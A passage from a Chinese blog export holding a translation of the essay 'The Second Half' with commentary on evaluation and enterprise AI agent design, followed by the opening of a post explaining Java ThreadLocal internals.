OpenAI 离职：彭博社报道称 OpenAI 已确认其离职，但未说明去向。\n●去向传闻与澄清：有媒体称其被 腾讯聘用；与此同时，腾讯方面辟谣了“上亿年薪”等细节，并未明确确认其入职与否。因此目前去向仍存不确定性。\n原文和翻译 原文 https://ysymyth.github.io/The-Second-Half/\n翻译 AI 的下半场\n一句话总结：我们正处于人工智能（AI）的中场休息时间。\n几十年来，人工智能的发展主要围绕着开发新的训练方法和模型。这一策略卓有成效：从在国际象棋和围棋上击败世界冠军，到在 SAT（学术能力评估测试）和律师资格考试中超越大多数人类，再到斩获国际数学奥林匹克（IMO）和国际信息学奥林匹克（IOI）金牌。在这些载入史册的里程碑——深蓝（DeepBlue）、AlphaGo、GPT-4 及 o 系统模型——背后，是 AI 方法论的根本性创新：搜索、深度强化学习（deep RL）、规模化（scaling）和推理（reasoning）。一切都在随着时间不断进步。\n那么，现在究竟有何不同？\n简而言之：强化学习（RL）终于奏效了。更准确地说：强化学习终于具备了泛化能力。在经历了数次重要的弯路并累积了一系列里程碑之后，我们终于找到了一个行之有效的“秘方”，能够利用语言和推理解决广泛的强化学习任务。哪怕在一年前，如果你告诉大多数 AI 研究者，同一个“秘方”能够应对软件工程、创意写作、IMO 级别的数学、键鼠操作以及长篇问答等任务，他们可能会觉得你在痴人说梦。这些任务中的任何一个都极其困难，许多研究者穷尽整个博士生涯也只能专注于其中一个狭窄的领域。\n然而，这一切确实发生了\n那么，接下来会发生什么？AI 的下半场——从现在开始——将把焦点从解决问题转向定义问题。在这个新时代，评估（evaluation）将比训练更加重要。我们将不再仅仅追问“我们能否训练一个模型来解决 X 问题？”，而是要问“我们究竟应该训练 AI 去做什么，以及如何衡量真正的进展？” 要在下半场脱颖而出，我们需要及时转变思维模式和技能组合，或许要更像一名产品经理。\n上半场 要理解上半场，只需看看它的赢家。你认为迄今为止最具影响力的 AI 论文是哪些？\n我在斯坦福大学的 224N 课程上做过这个小调查，答案不出所料：Transformer、AlexNet、GPT-3 等等。这些论文有何共同之处？它们都提出了某些根本性的突破，用以训练出更好的模型。同时，它们也通过在某些基准测试（benchmarks）上展示出（显著的）性能提升而成功发表。\n然而，这背后还有一个潜在的共性：这些“赢家”都是训练方法或模型，而非基准测试或任务。即便是被认为最具影响力的基准测试 ImageNet，其引用量也不及 AlexNet 的三分之一。方法与基准测试之间的这种反差在其他领域更为悬殊——例如，Transformer 模型主要使用的基准是 WMT'14，其相关研讨会报告的引用量约为 1,300 次，而 Transformer 论文的引用量已超过 160,000 次。\n这揭示了上半场的游戏规则：专注于构建新的模型和方法，而评估和基准测试则处于次要地位（尽管它们对于维持论文发表体系的运转是必需的）。\n为什么会这样？一个重要原因是，在 AI 的上半场，方法比任务更困难，也更激动人心。从零开始创造一种新算法或模型架构——例如反向传播算法、卷积网络（AlexNet）或 GPT-3 中使用的 Transformer——需要非凡的洞察力和工程能力。相比之下，为 AI 定义任务则往往显得更为直接：我们只是将人类已有的任务（如翻译、图像识别或国际象棋）转化为基准测试。这其中并不需要太多的洞察力，甚至工程量也不大。\n此外，方法通常比单个任务更具通用性和广泛适用性，这使其价值尤为突出。例如，Transformer 架构最终推动了计算机视觉（CV）、自然语言处理（NLP）、强化学习（RL）等多个领域的进步，其影响远远超出了最初证明其有效性的那个单一数据集（WMT'14 翻译任务）。一个优秀的新方法之所以能够提升多个不同基准测试的性能，正是因为它既简单又通用，其影响力因此超越了单个任务的范畴。\n这场游戏持续了几十年，催生了改变世界的思想和突破，其成果体现在各个领域基准测试性能的不断提升上。那么，为何游戏规则会发生改变？因为这些思想和突破的积累，最终在创造一个解决任务的有效“秘方”上引发了质变。\n那个秘方 这个“秘方”是什么？不出所料，其配方包括：大规模语言预训练、规模化（数据和算力），以及推理与行动（reasoning and acting） 的理念。这些词听起来可能像是你在旧金山每天都能听到的流行语，但为何称之为“秘方”？\n我们可以通过强化学习（RL） 的视角来理解这一点。RL 常被视为 AI 的“终局之战”——毕竟，从理论上讲，RL 保证能赢得游戏；从经验上看，也很难想象任何超人系统（如 AlphaGo）的诞生能脱离 RL。\n在 RL 中，有三个关键组成部分：算法（algorithm）、环境（environment）和先验知识（priors）。长期以来，RL 研究者主要关注算法——即智能体学习方式的智力核心（例如 REINFORCE、DQN、TD-learning、Actor-Critic、PPO、TRPO 等）——而将环境和先验知识视为固定或次要的。例如，Sutton 和 Barto 的经典教科书通篇都在讲算法，几乎没有涉及环境或先验知识。\n然而，在深度强化学习时代，环境在经验层面上的重要性变得显而易见：一个算法的性能往往高度依赖于其开发和测试所处的特定环境。如果忽略环境，你可能会构建出一个只在“玩具”环境中表现优异的“最优”算法。那么，我们为何不先弄清楚我们真正想解决的环境是什么，然后再寻找最适合该环境的算法呢？\n这正是 OpenAI 最初的计划。它创建了 Gym，一个包含各种游戏的标准 RL 环境，随后又启动了 World of Bits 和 Universe 项目，试图将整个互联网或计算机变成一个游戏。这个计划听起来不错，不是吗？一旦我们将所有数字世界都转化为一个环境，再用聪明的 RL 算法去解决它，我们就拥有了数字化的通用人工智能（AGI）。\n计划虽好，但并非完全奏效。OpenAI 在这条道路上取得了巨大进展，利用 RL 解决了 Dota 游戏、机械手控制等问题。但它从未接近解决计算机通用操作或网页浏览的难题，并且在一个领域有效的 RL 智能体也无法迁移到另一个领域。有些东西缺失了。\n直到 GPT-2 或 GPT-3 出现之后，我们才发现，那块缺失的拼图是先验知识。你需要强大的语言预训练来将通用的常识和语言知识“蒸馏”到模型中，这些模型随后可以被微调，成为网络（WebGPT）或聊天（ChatGPT）智能体（并改变世界）。事实证明，RL 最重要的部分，或许既不是 RL 算法，也不是环境，而是先验知识——而这些先验知识的获取方式可以与 RL 毫无关系。\n语言预训练为聊天任务创造了良好的先验知识，但对于控制计算机或玩视频游戏，效果却不尽相同。为什么？因为这些领域与互联网文本的分布相去甚远，简单地在这些领域上进行监督微调（SFT）或强化学习，其泛化能力很差。我在 2019 年就注意到了这个问题，当时 GPT-2 刚发布，我基于它进行 SFT/RL 来解决文字冒险游戏——由此诞生的 CALM 是世界上第一个基于预训练语言模型构建的智能体。但这个智能体需要数百万步的 RL 训练才能在一个游戏中取得进展，而且无法迁移到新的游戏。尽管这完全符合 RL 的特性，对 RL 研究者来说也见怪不怪，但我却觉得很奇怪，因为我们人类可以轻松地玩一个新游戏，并且在零样本（zero-shot）的情况下表现得好得多。然后，我迎来了人生中最早的“顿悟时刻”之一——我们之所以能够泛化，是因为我们可以选择做的不仅仅是“走向 2 号柜子”、“用 1 号钥匙打开 3 号宝箱”或“用剑杀死地牢里的怪物”，我们还可以选择去思考，比如：“地牢很危险，我需要一把武器来战斗。这里没有现成的武器，也许我需要在锁着的箱子或宝箱里找找看。3 号宝箱在 2 号柜子里，我先去那里把它打开。”\n思考，或者说推理（reasoning），是一种奇特的行动——它不直接影响外部世界，但推理的空间却是开放式的、组合爆炸式的无限——你可以思考一个词、一个句子、一整段话，甚至是 10000 个随机的英文单词，而你周围的世界并不会立即发生改变。在经典的 RL 理论中，这简直是一场灾难，会让决策变得不可能。想象一下，你需要在两个盒子中选择一个，其中一个装有 100 万美元，另一个是空的。你的期望收益是 50 万美元。现在，想象我加入了无限个空盒子。你的期望收益就变成了零。但是，通过将推理加入任何 RL 环境的行动空间，我们利用了语言预训练的先验知识来实现泛化，并且能够在测试时为不同的决策灵活分配计算资源。这是一件非常神奇的事情，很抱歉我在这里没能完全解释清楚，或许我需要再写一篇博客来专门阐述。欢迎阅读 ReAct 论文来了解关于智能体推理的最初构想，并感受我当时的一些想法。目前，我的直观解释是：尽管你加入了无限个空盒子，但你在过往的各种游戏中已经见过它们无数次，选择这些空盒子的经验能让你在任何给定的游戏中更好地选中有钱的那个盒子。 我的抽象解释则是：语言通过智能体中的推理来实现泛化。\n一旦我们拥有了正确的 RL 先验知识（语言预训练）和 RL 环境（将语言推理作为行动加入），事实证明 RL 算法本身反而是最微不足道的部分。于是，我们看到了 o-系列、R1、Deep Research 的计算机操作智能体，以及未来更多类似的模型。这是多么具有讽刺意味的转折！长期以来，RL 研究者对算法的关心远超环境，更没有人关注过先验知识——所有的 RL 实验基本上都是从零开始。但我们花了几十年的弯路才意识到，也许我们优先级的排序本应完全颠倒。\n但正如史蒂夫·乔布斯所说：你无法预见未来的点滴如何串联，只有在回顾过去时，才能将它们连接起来。\n下半场 这个“秘方”正在彻底改变游戏规则。回顾一下上半场的游戏：\n●我们开发新颖的训练方法或模型来提升基准测试的性能。\n●我们创造更难的基准测试，然后继续这个循环。\n这场游戏正在被打破，因为：\n●这个“秘方”已经将提升基准测试性能的过程标准化和工业化了，不再需要太多新的思想。 随着这个“秘方”的规模化和泛化能力越来越强，你为某个特定任务设计的新方法可能只能带来 5% 的提升，而下一个 o-系列模型即便没有专门针对这个任务，也能带来 30% 的提升。\n●即使我们创造出更难的基准测试，它们也很快（而且越来越快地）被这个“秘方”所解决。我的同事 Jason Wei 制作了一张精美的图表，很好地展示了这一趋势。\n那么，下半场还剩下什么可玩的？如果不再需要新颖的方法，而更难的基准测试也只会被越来越快地解决，我们该做什么？\n我认为，我们应该从根本上重新思考评估。这不仅仅意味着创造更新、更难的基准测试，而是要从根本上质疑现有的评估设定，并创造新的设定，从而迫使我们去发明超越现有“秘方”的新方法。这很困难，因为人类有惯性，很少会去质疑基本的假设——你只是想当然地接受它们，而没有意识到它们是假设，而非定律。\n为了解释这种惯性，假设你发明了历史上最成功的评估方法之一，它基于人类的考试。这在 2021 年是一个极其大胆的想法，但 3 年后，这个方向已经饱和了。你会怎么做？很可能你会去创造一个更难的考试。或者，假设你解决了简单的编程任务。你会怎么做？很可能你会去找更难的编程任务，直到达到 IOI 金牌的水平。\n惯性是人之常情，但问题在于：AI 已经在国际象棋和围棋上击败了世界冠军，在 SAT 和律师资格考试中超越了大多数人类，并在 IOI 和 IMO 中达到了金牌水平。但世界并没有因此发生太大改变，至少从经济和 GDP 的角度来看是这样。\n我称之为效用问题（utility problem），并认为这是 AI 领域最重要的问题。\n或许我们很快就能解决这个效用问题，或许不能。但无论如何，这个问题的根源可能简单得令人迷惑：我们的评估设定在很多基本方面都与真实世界的设定不同。举两个例子：\n1.评估“应该”是自动运行的，所以通常一个智能体接收一个任务输入，自主完成任务，然后获得一个任务奖励。但在现实中，智能体在整个任务过程中必须与人类互动——你不会只给客服发一条超长的信息，然后等 10 分钟，就指望收到一个详尽的回复解决所有问题。通过质疑这种设定，新的基准测试被发明出来，它们要么将真实人类纳入评估环路（如 Chatbot Arena），要么使用用户模拟（如 tau-bench）。\n2.评估“应该”是独立同分布（i.i.d.）的。如果你有一个包含 500 个任务的测试集，你会独立地运行每个任务，然后对任务指标取平均，得到一个总指标。但在现实中，你是按顺序解决任务，而非并行。一位谷歌的软件工程师随着对代码库越来越熟悉，解决问题的效率会越来越高，但一个软件工程师智能体在同一个代码库中解决多个问题时，却无法获得这种熟悉度。我们显然需要长时记忆的方法（这类方法也确实存在），但学术界没有合适的基准测试来证明这种需求的必要性，甚至没有足够的勇气去质疑作为机器学习基础的 i.i.d. 假设。\n这些假设“一直”以来就是如此，在 AI 的上半场，基于这些假设来开发基准测试并没有问题，因为当智能水平较低时，提升智能通常也能提升效用。但现在，通用的“秘方”在这些假设下几乎是万能的。因此，下半场的新游戏规则是：\n●我们开发新颖的、旨在提升现实世界效用的评估设定或任务。\n●我们用现有的“秘方”来解决它们，或者通过增加新的组件来增强“秘方”。然后继续这个循环。\n这场游戏很困难，因为它很陌生。但它也令人兴奋。上半场的玩家解决的是视频游戏和考试，而下半场的玩家则有机会通过将智能转化为有用的产品，来创建价值数十亿甚至数万亿美元的公司。上半场充满了渐进式的方法和模型，而下半场在某种程度上会过滤掉它们。通用的“秘方”会轻易碾压你的渐进式方法，除非你创造出能打破这个“秘方”的新假设。那时，你才能做出真正改变游戏规则的研究。\n欢迎来到下半场！\n深度解析 《The Second Half》 提示了我们所处的人工智能时代的一个根本性的范式转移\n对“上半场”的深刻反思 上半场的游戏哲学：“更好”等于“更高分” 上半场的竞争逻辑是极其纯粹且清晰的：通过创造更优秀的模型和算法，在公认的、标准化的基准测试（Benchmark）上取得更高的分数。 无论是计算机视觉领域的 ImageNet 挑战赛，还是自然语言处理领域的 GLUE、SuperGLUE 排行榜，整个学术界和工业界都被卷入了一场围绕“SOTA”（State-of-the-Art）的军备竞赛。\n这种模式的底层信仰是：智能本身是线性可扩展的，只要模型在基准测试上的表现越好，它在真实世界中的应用潜力就越大。 这在很长一段时间内是正确的。AlexNet 在 ImageNet 上的胜利，直接催生了计算机视觉的黄金十年；Transformer 架构的提出，则奠定了整个大语言模型时代的基础。我们专注于“造锤子”，因为市场上有无数显而易见的“钉子”等着我们去敲。\n成功的“惯性”与“范式之疲”的显现 然而，当一个范式取得巨大成功后，它会产生巨大的惯性，这种惯性会掩盖其底层逻辑的悄然变化。我们正面临着“上半场范式”的系统性疲劳，其症状体现在三个方面：\n●症状一：能力的商品化与竞争的同质化。“通用秘方”（大规模预训练 + 规模化 + 推理/行动）的出现，是一个颠覆性的事件。它意味着，世界顶级的感知、生成和基础推理能力，正在迅速地从少数巨头的“独门秘籍”变为一种类似水和电的、可按需取用的“基础设施”。无论是通过 API 调用 OpenAI 的模型，还是利用强大的开源模型（如 Llama 系列），任何一个具备基本工程能力的公司，都能站在巨人的肩膀上。这直接导致，单纯依靠基础模型能力本身来构建的护城河，其水位正在以肉眼可见的速度下降。我们正进入一个“后模型时代”，竞争的焦点必然从模型本身转移到更高维度的层面。\n●症状二：“效用问题”（The Utility Problem）的尖锐化。这是《The Second Half》一文最核心、也最深刻的洞察。我们看到无数令人惊叹的 Demo：AI 在 SAT、律师资格考试、甚至奥数竞赛中击败人类。但当我们把目光投向宏观经济指标，如劳动生产率的增长，却发现其影响远未达到预期的“奇点”时刻。在企业内部，我们同样能感受到这种“演示与部署之间的鸿沟” 。一个能在测试集上达到 95% 准确率的模型，部署到真实、混乱的业务流程中时，其表现可能会断崖式下跌。这种“高分低能”的现象，深刻地揭示了我们上半场评估体系的根本性缺陷：它奖励的是在无菌实验室里解决抽象问题的能力，而非在真实世界中创造可靠价值的能力。\n●症状三：边际成本的急剧攀升与创新动力的衰减。追逐 SOTA 的游戏，其成本正在变得越来越昂贵。将一个模型的性能从 90% 提升到 91%，可能需要消耗双倍的算力和数据。这种投入产出比的急剧下降，使得除了少数资源雄厚的玩家外，大多数公司都无法也不应参与这场“军备竞赛”。更危险的是，对“刷分”的过度关注，可能会扼杀掉那些无法立即在现有基准上体现价值、但却可能开辟全新路径的颠覆性创新。\n下半场的本质：在不确定性世界中定义价值 下半场的核心特征是“发散” 。\n●问题的本质是不确定的：我们不再有一个清晰的数学目标，而是要解决一个模糊的商业/用户问题。例如，“提升用户对我们产品的满意度”、“降低新员工的培训成本”。这些问题无法用一个简单的分数来衡量。\n●环境是动态和复杂的：真实世界是连续的、充满互动的、非结构化的。用户有记忆，任务之间相互关联，一个错误的决策会带来长期的负面影响。\n●成功的关键是“定义问题和评价体系”：当所有玩家都用上了相似的“万能锤子”（强大的基础模型），胜负手就不再是锤子本身，而是“你知道应该在哪堵墙上凿个洞，以及你知道怎么才算凿好了” 。\n○在哪凿洞？ —— 定义问题（Problem Definition）。这需要深入理解业务场景、用户痛点。\n○怎么算凿好了？ —— 构建评估（Evaluation Design）。这是下半场的核心竞争力。如何设计一套能够真实反映“用户价值”的评估体系，决定了你的 AI 能否在正确的方向上迭代。\n构建“下半场”的胜利引擎 如果说上半场的核心产物是“模型”，那么下半场的核心产物则必然是“系统”——一个能够将通用智能与我们独特的业务场景、数据、流程深度融合的智能体（Agent）系统 。我想详细阐述这个系统的架构哲学，它远比“LLM+Prompt”复杂，也坚固得多。\n认知核心 这是 Agent 的 “大脑”，通常由一个或多个 LLM/VLM 构成。我们的战略不应是重复造轮子，而是构建一个可插拔、可路由的模型层，能根据任务的成本和复杂度，智能地选择最优模型。它至少要包括以下两部分：\n1.模型抽象与路由层：这是架构的基石。我们需要一个统一的接口，能够屏蔽掉不同模型（OpenAI, Anthropic, Google, 开源模型, 自研小模型）的差异。能够根据任务的复杂度、延迟要求、成本预算、安全等级，动态地将请求分发给最合适的模型。例如，一次简单的情感分类任务应该由一个本地化的、低成本的小模型处理；而一次需要复杂多步规划的请求，则路由到最强大的大模型。\n2.提示工程平台化（PromptOps）：Prompt 是我们与 AI 交流的语言，它不应是散落在代码各处的“魔法字符串”。我们需要一个企业级的 PromptOps 平台，对 Prompt 进行版本化管理、A/B 测试、自动化评估和持续优化。这个平台将是我们沉淀“人机交互知识”的核心资产。\n记忆系统 一个没有记忆的 Agent，永远只是一个强大的、但健忘的工具。记忆系统是 Agent 实现个性化、持续进化的关键，也是构建数据飞轮的核心。\n●短期工作记忆（Working Memory）：这是 Agent 处理当前任务的“内存”。它需要高效地管理对话历史、任务中间状态、工具调用结果等。挑战在于如何在保持长上下文的同时，有效控制成本和延迟。\n●长期情景记忆（Long-Term Episodic Memory）：这是 Agent 的“人生经历”。每一次成功的交互、每一次失败的尝试、每一个用户的特定偏好，都应该被向量化，并存入一个可供检索的长期记忆库。当 Agent 遇到新任务时，它能“回忆”起过去处理类似情况的经验，从而做出更优的决策。\n●长期语义/程序记忆（Long-Term Semantic/Procedural Memory）：这是 Agent 的“知识库”和“技能库”。前者存储了我们公司独有的领域知识（如产品文档、行业报告），后者则存储了完成特定任务的标准化流程（SOPs）。这确保了 Agent 的行为不仅是智能的，更是专业和合规的。\n工具箱 Agent 的价值最终体现在行动上。工具系统是 Agent 影响物理世界和数字世界的桥梁，其设计的优劣直接决定了 Agent 的能力边界。\n同时 tools 也是 Agent 的‘手脚’。我们可以将公司内外部的各种能力无论是调用一个 API、查询数据库、还是执行一个 RPA 脚本都封装成标准化的‘工具’，供 Agent 调用。我们工具箱的丰富性和可靠性，直接决定了我们 Agent 能力的天花板。但这里有几个关键的问题需要关注：\n●工具注册与治理：工具如何封装，如何注册，最后如何有效的进行治理 ？\n●执行与编排：当 Agent 决定调用工具时，谁来负责安全、可靠地执行，并处理各种现实世界的异常（如 API 超时、数据格式错误、权限不足）？\n●安全与审计：如何进行身份验证、权限检查与意图审计 ？\n认知能力的深化 在我们构建了认知核心、记忆系统和工具系统之后，一个基础的 Agent 已经可以运转。它能够“看到”（感知）、“记住”（记忆）、并“行动”（工具）。然而，要让 Agent 真正能够胜任企业级的复杂、长周期任务，我们必须直面当前主流 Agent 框架（如 ReAct 模式）的固有限制。\nReAct 模式本质上是一种反应式（Reactive） 的、一步一思考的决策循环。它在处理定义清晰、步骤明确的短任务时表现出色，但在面对一个模糊、宏大、且充满不确定性的长期目标时，往往会陷入局部最优，甚至迷失方向。例如，对于“将本季度用户流失率降低 5%”这样一个战略性目标，简单的“思考-行动”循环是完全不够的。\n因此，为了让 Agent 系统具备处理战略级任务的能力，我们需要在认知核心之上，构建一个更为高级的能力层，专注于前瞻性规划（Proactive Planning）和系统性自我校正（Systematic Self-Correction）。这并非一个独立的引擎，而是对现有认知能力的深化与扩展。\n从任务执行到任务分解 一个高级 Agent 必须具备将一个高层、模糊的战略意图，分解为一系列具体的、可管理的、有逻辑依赖关系的子任务的能力。这要求我们的系统：\n●具备多层次规划能力：对于“为新产品制定一个为期三个月的上市营销计划”这样的任务，Agent 需要能够生成一个结构化的任务树或有向无环图（DAG）。顶层是战略目标，下面分解为市场分析、内容制作、渠道投放、数据监控等多个阶段性任务，每个阶段任务再进一步分解为具体的执行动作，如“调用 API 查询竞品关键词”、“调用内部 CRM 生成潜在客户列表”等。\n●能够进行资源与依赖管理：规划出的任务流，必须考虑现实世界的约束，如预算限制、时间窗口、以及任务之间的前后置依赖关系。这使得 Agent 的规划更接近于一个真正的项目管理专家，而不仅仅是一个指令执行器。目前，如 Tree-of-Thought (ToT) 等研究已经展示了探索多路径规划的可行性，而将其工程化、并与企业实际流程相结合，将是我们重要的研发方向。\n从执行失败到归因学习 在复杂的真实世界中，失败是常态。一个仅仅在失败时报错的系统是脆弱的。一个鲁棒的 Agent 系统，需要具备从失败中学习和恢复的能力。这要求我们建立一个系统性的错误归因与校正机制。\n1.精细化的错误归因：当一个任务失败时，系统不应简单地返回一个“Failed”状态。我们需要一个“事后复盘”模块，能够自动分析完整的执行日志（包括模型的思考链、工具的调用记录、环境的反馈），并像软件工程中的根本原因分析（RCA）一样，将失败定位到具体环节。例如：\na.规划阶段的逻辑错误？（e.g., 错误地估计了任务的依赖关系）\nb.工具执行层面的技术故障？（e.g., 某个 API 超时或返回了非预期的格式）\nc.环境理解阶段的认知偏差？（e.g., 错误地解析了网页上的某个信息）\nd.还是基础模型的知识局限或幻觉？\n2.将经验转化为可复用的知识：在完成归因后，系统应将这次失败的案例——包括问题描述、失败路径、根本原因和（如果可能的话）正确的解决方案——进行结构化处理，并存入长期记忆库。这相当于为我们的 Agent 系统建立了一个可不断增长的“错题本”。未来在遇到类似情景时，Agent 可以检索这些经验，从而主动规避已知的陷阱。\n总之，将前瞻性规划与自我校正能力，深度集成到 Agent 系统中，其战略意义在于：它将 Agent 从一个被动的“任务执行者”，升级为一个具备一定自主性、能够处理复杂战略目标、并从经验中持续进化的“问题解决伙伴”。这虽然是当前 AI Agent 领域最具挑战性的前沿方向之一，但它也恰恰是构建长期、可持续技术壁垒的关键所在。\n下半场的“北极星” 如果我们认同“下半场”的逻辑，那么结论是显而易见的：评估体系的设计，是未来最重要、最核心、最能构建壁垒的竞争力。\n让我们用一个具体的例子来说明。假设我们用一个 AI Agent 来辅助客服。上半场的评估指标可能是“平均处理时长 ”或“首次回复准确率”。为了优化这些指标，Agent 可能会倾向于快速给出标准答案并关闭工单。表面上看，效率提升了。但真实情况可能是，用户的复杂问题并未得到根本解决，导致他不得不再次、甚至多次联系我们，最终的客户满意度和忠诚度反而下降了。这是一个典型的“指标陷阱”：我们优化了一个代理指标，却损害了最终的商业目标。\n所以我们的目标应该是构建一个能够衡量真实、长期、商业价值的评估引擎。至于具体怎么做，说实话，我不知道，凭我的设想，它应该包括：\n●高保真业务仿真环境：为我们的核心业务流程，构建一个“数字孪生” 。在这个环境中，我们可以模拟数百万次的用户交互、各种罕见的边缘案例、甚至是恶意的攻击行为。这使得我们可以在 Agent 上线前，对其进行低成本、高效率、全方位的压力测试和迭代优化。\n●人机回环竞技场：这是一个内部平台，让我们的一线业务专家成为 Agent 的“金牌教练”。他们可以在平台上，对 Agent 在真实（或模拟）任务中的表现进行打分、纠错、甚至提供更优的决策范例。这些高质量的、蕴含着人类专家隐性知识的数据，是我们将 Agent 从“可用”提升到“卓越”的最宝贵燃料。\n●长期价值归因分析：与数据分析团队紧密合作，建立严谨的因果推断模型，将 Agent 的引入，与最终的业务北极星指标（如客户 LTV 的提升、运营成本的降低、用户流失率的下降）进行强关联。这使得我们能够用商业语言，清晰地证明 AI 的价值。\n●引入“Agent-业务-Fit” (ABF) 的概念：或许我们应该像评估“产品-市场-Fit” (PMF) 一样，为每个 Agent 项目建立一个衡量其与业务契合度的成熟度模型。它包括了从任务成功率、操作可靠性、成本效益，到用户接受度、业务流程融合度等多个维度的综合评分。\n最后 AI 的 “下半场” 已经悄然而至，这既带来了巨大的挑战，也蕴含着前所未有的机遇。它挑战的是我们过去的成功经验和思维惯性。然而下半场的 AI，其智能的源泉，也正是我们日复一日工作中积累的、那些无法被量化、但却无比宝贵的领域知识和专业智慧。\n","date":"2025-09-14T09:03:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-09-14-dang-shua-fen-bu-zai-xing-gan-wei-shen-me-shuo-yao-shun-yu-d/cover.jpg","permalink":"/p/2025-09-14-dang-shua-fen-bu-zai-xing-gan-wei-shen-me-shuo-yao-shun-yu-d/","title":"当“刷分”不再性感：为什么说姚顺雨的“AI下半场”是我们每个人的必修课？"},{"content":"缘起 这两天又用到了 ThreadLocal ,时间一长，很多细节都想不起来了，现翻源码 😂\n想着干脆写个笔记记录一下，其实之前写过有关 ThreadLocal 的文章，现在回过头看觉得一些细节写的交待的不好，那么就再写一遍吧。\n这一次的目标就是搞清楚 Threadlocal 它到底是怎么隔离线程数据的，好在哪？\n当然也要挖一挖那个潜在的 内存泄漏风险，看看它在 Java 不同版本里头有没有啥变化。\nThreadLocal 它根本上是干嘛的？ 简单来说， ThreadLocal 就是给每个线程(注意是每个线程) 一个变量的独立副本。\n你可以想象一下，比如说用户 ID 或者一个事务 ID 这种需要跟某个线程绑定的数据，用它就特别合适。它解决的不是那种多线程怎么共享数据的问题，而是怎么管好单个线程自己用的数据。\n反向存储 它用了一个挺有意思的设计，有人叫它 “反向存储”\n我根据 ThreadLocal 的内部结构梳理了一个结构图，如下：\n1$ terminal┌─────────────────────────────────────────────────────────────────┐ 2│ JVM 堆内存 - 全局共享区域 │ 3│ ┌─────────────────┐ ┌─────────────────┐ │ 4│ │ ThreadLocal1 │ │ ThreadLocal2 │ ← 全局唯一实例 │ 5│ │ (COUNTER) │ │ (NAME) │ 所有线程共享 │ 6│ └─────────────────┘ └─────────────────┘ │ 7└─────────────────────────────────────────────────────────────────┘ 8 ↑ ↑ 9 │ 作为key引用 │ 作为key引用 10 11┌─────────────────────────────────────────────────────────────────┐ 12│ 线程独立存储区域 │ 13│ │ 14│ ┌─────────────────┐ ┌─────────────────┐ │ 15│ │ Thread-1 │ │ Thread-2 │ │ 16│ │ │ │ │ │ 17│ │ threadLocals ──┼──┐ ┌──┼── threadLocals │ │ 18│ └─────────────────┘ │ │ └─────────────────┘ │ 19│ │ │ │ 20│ ┌────────────────────▼──┐ ┌──▼────────────────────┐ │ 21│ │ ThreadLocalMap-1 │ │ ThreadLocalMap-2 │ │ 22│ │ │ │ │ │ 23│ │ Entry[] table │ │ Entry[] table │ │ 24│ │ ┌─────────────────┐ │ │ ┌─────────────────┐ │ │ 25│ │ │ Entry[0] │ │ │ │ Entry[0] │ │ │ 26│ │ │ key: COUNTER │ │ │ │ key: COUNTER │ │ │ 27│ │ │ value: 100 │ │ │ │ value: 200 │ │ │ 28│ │ └─────────────────┘ │ │ └─────────────────┘ │ │ 29│ │ ┌─────────────────┐ │ │ ┌─────────────────┐ │ │ 30│ │ │ Entry[1] │ │ │ │ Entry[1] │ │ │ 31│ │ │ key: NAME │ │ │ │ key: NAME │ │ │ 32│ │ │ value:\u0026#34;Thread1\u0026#34; │ │ │ │ value:\u0026#34;Thread2\u0026#34; │ │ │ 33│ │ └─────────────────┘ │ │ └─────────────────┘ │ │ 34│ └───────────────────────┘ └───────────────────────┘ │ 35│ │ 36└─────────────────────────────────────────────────────────────────┘ 从图上可以看到，实际上是每个 Thread 对象它自己内部持有一个map，这个 map 就是 ThreadLocalMap，每个线程都有一个。\n我们从源码中也能看到：\n1$ terminal// Thread 类的关键字段（简化版） 2public class Thread implements Runnable { 3 // 每个 Thread 实例都有自己独立的这个字段！ 4 ThreadLocal.ThreadLocalMap threadLocals = null; 5 ThreadLocal.ThreadLocalMap inheritableThreadLocals = null; 6 7 // 其他字段... 8} 然后那个 ThreadLocal 变量本身就是我们代码里定义的那个，通常是个 static final 的全局变量。它其实是充当了所有这些不同的 ThreadLocalMap 里面的 entry 的 key。\n1$ terminal// ThreadLocalMap 的关键实现 2static class ThreadLocalMap { 3 // Entry 继承 WeakReference，key 是 ThreadLocal 对象的弱引用 4 static class Entry extends WeakReference\u0026lt;ThreadLocal\u0026lt;?\u0026gt;\u0026gt; { 5 Object value; 6 7 Entry(ThreadLocal\u0026lt;?\u0026gt; k, Object v) { 8 super(k); // k 是全局共享的 ThreadLocal 对象 9 value = v; // v 是线程独立的值 10 } 11 } 12 13 // 每个 ThreadLocalMap 都有自己独立的 Entry 数组 14 private Entry[] table; 15 16 // 构造函数：每个线程调用时都会创建新的实例 17 ThreadLocalMap(ThreadLocal\u0026lt;?\u0026gt; firstKey, Object firstValue) { 18 table = new Entry[INITIAL_CAPACITY]; 19 int i = firstKey.threadLocalHashCode \u0026amp; (INITIAL_CAPACITY - 1); 20 table[i] = new Entry(firstKey, firstValue); 21 size = 1; 22 setThreshold(INITIAL_CAPACITY); 23 } 24} 就是说 Threadlocal 这个钥匙是大家都能看到的，是共享的，但是存东西的柜子也就是 ThreadLocalMap 是每个线程自己的，是互相隔离的。\n内部存储 这个 ThreadLocalMap 它怎么通过 ThreadLocal 这个键找到对应的值呢？它里面是咋存的？\n实际上它是用 ThreadLocal 实例本身的哈希码，这个哈希码会经过一个计算，然后确定在 map 内部数组里的一个位置。这个计算方法还挺讲究的，用了一个特殊的数字，就是为了让这些键能均匀地散开。\n1$ terminal// 构造函数：每个线程调用时都会创建新的实例 2ThreadLocalMap(ThreadLocal\u0026lt;?\u0026gt; firstKey, Object firstValue) { 3 table = new Entry[INITIAL_CAPACITY]; 4 int i = firstKey.threadLocalHashCode \u0026amp; (INITIAL_CAPACITY - 1); 5 table[i] = new Entry(firstKey, firstValue); 6 size = 1; 7 setThreshold(INITIAL_CAPACITY); 8} ThreadLocal中有一个属性为HASH_INCREMENT = 0x61c88647。这个值很特殊，它是斐波那契数 也叫 黄金分割数。hash增量为 这个数字，带来的好处就是 hash 分布非常均匀。\n要是算出来的位置已经被占了，就是所谓的哈希冲突，它就用一种叫线性探测的方法来解决，简单说就是如果这个位置有人了，他就看下一个位置空不空，再不行就再看下一个，一直找到空位为止。\n因为这个 map 是线程私有的，不存在多个线程同时来抢位置的问题，所以这种简单的方法就够用了，效率也还行。\n隔离机制 这个 “反向存储” ，有点儿反直觉：不是 ThreadLocal 对象持有多个线程的值，而是 每个 Thread 对象持有自己的 ThreadLocalMap，ThreadLocalMap 以 ThreadLocal 对象为 key，存储该线程的值。\n我们再具体总结一下 ThreadLocal 的隔离机制，实际上它是一个 \u0026ldquo;部分共享，部分独立\u0026rdquo; 